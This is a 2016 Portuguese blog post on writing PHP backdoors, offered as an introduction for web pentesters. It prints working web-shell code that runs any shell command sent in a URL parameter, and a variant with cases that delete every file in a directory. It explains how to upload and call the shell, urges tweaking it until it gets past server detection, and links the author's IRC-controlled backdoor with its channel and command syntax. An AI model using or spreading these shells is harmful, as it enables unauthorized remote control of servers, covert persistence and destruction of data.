segunda-feira, 10 de outubro de 2016

Desenvolvimento de Backdoor's com PHP


                               Desenvolvimento de backdoors com PHP


Putsss eu juro que ia escrever sobre outra coisa ! esse artigo era pra ser sobre o desenvolvimento de rootkits para linux , mas minha distro não tinha as malditas libs para a criação de tal texto =/ que pena , fica pra uma proxima haha... logo vou trazer algo sobre assembly :)

( No final do post não coloquei fontes, o motivo está descrito lá , tambem irá conter um exemplo de backdoor via irc que fiz em php já a algum tempo )

OBS: Um conhecimento basico de php e linux se da necessesário para o entedimento desse post !!! ( esse post é uma breve introdução apenas ao assunto que se extende muito mais doque é apresentado aqui ! )

Bom, mas ja que estamos aqui , por que não falamos sobre o assunto escolhido ? desenvolvimento de backdoors em php ... é algo relativamente facil , mas poucas pessoas se ligam em como fazer isso !

Agora vamos lá , bem o'que precisamos ter em mente para criar um backdoor ? bom vamos ao conceito de backdoor segunda a wikipedia ! ( alguns acredito que achem wikipedia uma fonte ruim , então a essas pessoas , me desculpem )

"Backdoor é um recurso utilizado por diversos malwares para garantir acesso remoto ao sistema ou à rede infectada"

É obvio que não vou colocar toda a descrição , se não isso fica gigante !

Bom, podemos ver uma backdoor como um programa que fica recebendo instruções externas e as executando em tempo real ... vamos a um exemplo disso ?

Se você é programador em php, sabe provavelmente que a função system(); executa comandos no shell do servidor ( é onde iremos rodar esse backdoor ) em um servidor ( web host ) e iremos acessar pelo navegador ( como uma shell como alguns carinhas conhecem como c99, eu não custumo usar então só conheço a c99 kkk )

Exemplo de código abaixo que executa comandos vindos de fora do server utilizando a função system();

<--code

<?php
system($_GET['comando']);
?>

-->code

Após fazer upload de um arquivo php no servidor com o código descrito acima, iremos acessa-lo via navegador ... por exemplo , digamos que upamos isso no site exemplo.com e definimos o nome do arquivo como shell.php...

para enviar parametros via post basta acessar normalmente o diretorio da shell no site da seguinte forma http://exemplo.com/shell.php?comando=[seu-comando-aqui]

obviamente sem os '[' e ']' ...

no caso para executarmos um "ls" no servidor bastaria acessar a url na seguinte forma :

http://exemplo.com/shell.php?comando=ls

obviamente não ira aparecer o resultado desse comando executado na pagina , mas podemos mudar isso usando a função echo(); da seguinte forma...

<--code

<?php

echo(system($_GET['comando']));

?>

-->code

Confuso ? bem a função echo ira exibir na pagina o'que o comando executado pela função system(); retornar ... no caso de ls ira retornar os diretorios ...

Bom e se quisermos ir alem da função system(); ? bom temos o php todo a nósso favor , podemos utilizar as própias funções dele ... por exemplo ...

vamos a uma base !

<--code

<?php

switch($_GET['comando']){

case "phpinfo":
echo(phpinfo()); /*mostra informações sobre o php instalado no server*/

case "rm-all":
system("rm *"); /*remove todos os arquivos do diretorio atual*/

case "rmdir-all":
system("rmdir --ignore-fail-on-non-empty *");

default:
/* caso você queira que ele execute algo
 * se o usuário passar algo não expecificado
 * nas diversas "case" criadas acima !
 */
}
?>

-->code

O código acima serve caso você queira que ele execute diversas funções dependendo doque ele passar no "?comando=" bom ... isso pode ser implementado de diversas formas...

Bem , esse post foi apenas para apresentar essa idéia , por que sei que muitos dos que lidam com pentest , ainda mais relacionado a web, quando ganha acesso fica utilizando de "shells" , essas mesmas como c99 ... sendo que elas ja podem ser detectadas por muitos servidores ...

A idéia é , utilize do php e suas diversas funções e cria a sua , a system é uma que não é sempre detectada ... o problema principal é conseguir root e não a backdoor ser detectada...

Alias essa é a vantagem de você criar uma backdoor , se ela for detectada , edite seu código e vá testando até conseguir burlar ( quando você finalmente conseguir burlar ira sentir algo muito foda haha )

Existem outras funções para criar , deletar ou modificar arquivos , mas na minha opnião , se a função system(); não for pega por nenhum tipo de "proteção" que o site tenha , não há motivos para usar funções diferentes , você ira estar deixando logs de qualquer jeito ! ( se estiver usando isso para manter acesso a algum servidor hackeado , creio eu hahaha )

Bem esse post foi apenas para aprensentar essa idéia , não vou ficar explicando utilidade de funções do php , se fosse isso, iria ser mais facil publicar um curso de php em sí ...

-------------------------------------------------------

Não vou por fontes para estudos dessa vez , pois a maioria dos conteudos encontrados por ae tem algo a ver com metasploit ou algum outro tipo de ferramenta ... ( é uma pena )...

Mas para quem quer ter algumas idéias , aqui está o link
de uma backdoor em php via irc que fiz a um tempo atras...

https://ghostbin.com/paste/ocay7

Para usar basta conectar na rede e canal do irc default que são:

Rede : irc.freenode.net
Canal : #leavemehere

Para executar algum comando no terminal do alvo
após conectar no canal digite %cmd%[comando-comando]%

obviamente sem o '[' e ']' ... as "%" são necessárias , pois é elas quem
pegam o seu comando apartir da função "explode" ...

Espero que sirva pra algo .

--------------------------------------------------------

Notou algo errado ou incorreto nesse post ? Nos informe Aqui!

Vou ficando por aqui ! Até pessoal .

0 comentários:

Postar um comentário

Tecnologia do Blogger.

Popular Posts